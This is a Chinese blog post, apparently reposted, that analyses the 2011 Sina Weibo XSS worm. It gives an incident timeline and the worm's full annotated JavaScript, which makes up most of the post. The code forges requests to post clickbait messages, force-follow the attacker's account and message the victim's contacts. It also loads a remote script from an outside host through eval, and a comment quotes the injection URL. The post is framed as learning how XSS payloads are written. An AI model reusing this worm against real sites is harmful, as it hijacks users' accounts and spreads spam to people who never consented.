新浪微博老蠕虫代码分析

逛酷壳看到2011年新浪那次比较大的XSS蠕虫传播事件,Post上给出了蠕虫的代码,正好最近实习需要在狂补前端的各种,正好拿来分析下,菜分析,牛无视。

事件的经过线索如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕

该蠕虫代码没什么难度,都是常规的一些请求伪造,分析目的就是为了在真实攻击事件中学习Xss Payload编写思路,分析过程简单的写到注释里了。

这个蠕虫的三大功能:

发表微博->关注攻击者微博帐号->遍历关注用户列表并发送私信

 
 
  1. function createXHR(){ //创建XMLHttp对象,没啥好说的  
  2.     return window.XMLHttpRequest?  
  3.     new XMLHttpRequest():  
  4.     new ActiveXObject("Microsoft.XMLHTTP");  
  5. }  
  6. function getappkey(url){  
  7.     xmlHttp = createXHR();  
  8.     xmlHttp.open("GET",url,false); //获取AppKey不采用异步执行,等待请求返回  
  9.     xmlHttp.send();  
  10.     result = xmlHttp.responseText;  
  11.     id_arr = '';  
  12.     id = result.match(/namecard=\"true\" title=\"[^\"]*/g);   
  13.         //正则匹配出AppKey数组,包含每个被收听用户的uid  
  14.     for(i=0;i<id.length;i++){  
  15.         sum = id[i].toString().split('"')[3];//重新提取整理  
  16.         id_arr += sum + '||';  
  17.     }  
  18.     return id_arr;  
  19. }  
  20. function random_msg(){  
  21.     link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;  
  22.     //使用短地址服务,构造XSS传播连接  
  23.     //http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 
  24.     //隐藏自己的恶意js脚本  
  25.     var msgs = [ //话题列表  
  26.         '郭美美事件的一些未注意到的细节:',  
  27.         '建党大业中穿帮的地方:',  
  28.         '让女人心动的100句诗歌:',  
  29.         '3D肉团团高清普通话版种子:',  
  30.         '这是传说中的神仙眷侣啊:',  
  31.         '惊爆!范冰冰艳照真流出了:',  
  32.         '杨幂被爆多次被潜规则:',  
  33.         '傻仔拿锤子去抢银行:',  
  34.         '可以监听别人手机的软件:',  
  35.         '个税起征点有望提到4000:'];  
  36.     var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;   
  37.        //随机选取话题,加上之前的传播连接作为微博内容  
  38.     msg = encodeURIComponent(msg); //对内容进行Url编码  
  39.     return msg;  
  40. }  
  41. function post(url,data,sync){ //Ajax部分,没啥可说的  
  42.     xmlHttp = createXHR();  
  43.     xmlHttp.open("POST",url,sync);  
  44.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
  45.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
  46.     xmlHttp.send(data);  
  47. }  
  48. function publish(){  
  49.     url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); //构造微博发表完成的Url  
  50.     data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; //使用random_msg生成随机话题  
  51.     post(url,data,true); //使用XmlHttpRequest发送请求  
  52. }  
  53. function follow(){  
  54.     url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); //自动关注的Url  
  55.     data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';   
  56. //使用当前页面存储的$CONFIG.$uid构造自动关注数据包  
  57.     post(url,data,true); //通过XMLHttpRequest发送请求  
  58. }  
  59. function message(){  
  60.     url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; //构造用户关注用户列表页Url  
  61.     ids = getappkey(url); //获取被关注用户的Appkey数组  
  62.     id = ids.split('||'); //分割出每个被关注用户的Appkey  
  63.     for(i=0;i<id.length - 1 & i<5;i++){  
  64.         //构造私信发送Url  
  65.         msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();   
  66.         msg = random_msg();  
  67.         msg = encodeURIComponent(msg);  
  68.         user = encodeURIComponent(encodeURIComponent(id[i]));  
  69.         data = 'content=' + msg + '&name=' + user + '&retcode=';  
  70.         post(msgurl,data,false);//通过XmlHttpRequest发送请求  
  71.     }  
  72. }  
  73. function main(){  
  74.     try{  
  75.         publish(); //模拟发表微博  
  76.     }  
  77.     catch(e){}  
  78.     try{  
  79.         follow(); //模拟关注用户  
  80.     }  
  81.     catch(e){}  
  82.     try{  
  83.         message(); //模拟发送私信  
  84.     }  
  85.     catch(e){}  
  86. }  
  87. try{  
  88.     //在当前body尾部插入存放在远端的Xss恶意脚本  
  89.    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);  
  90. }  
  91. catch(e){}  
  92. main();  
  93. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);  
  94. //等待5秒跳转到微话题页面 

 

从Js中获取各种当前用户信息,没什么可涂的。

















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/931824,如需转载请自行联系原作者

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值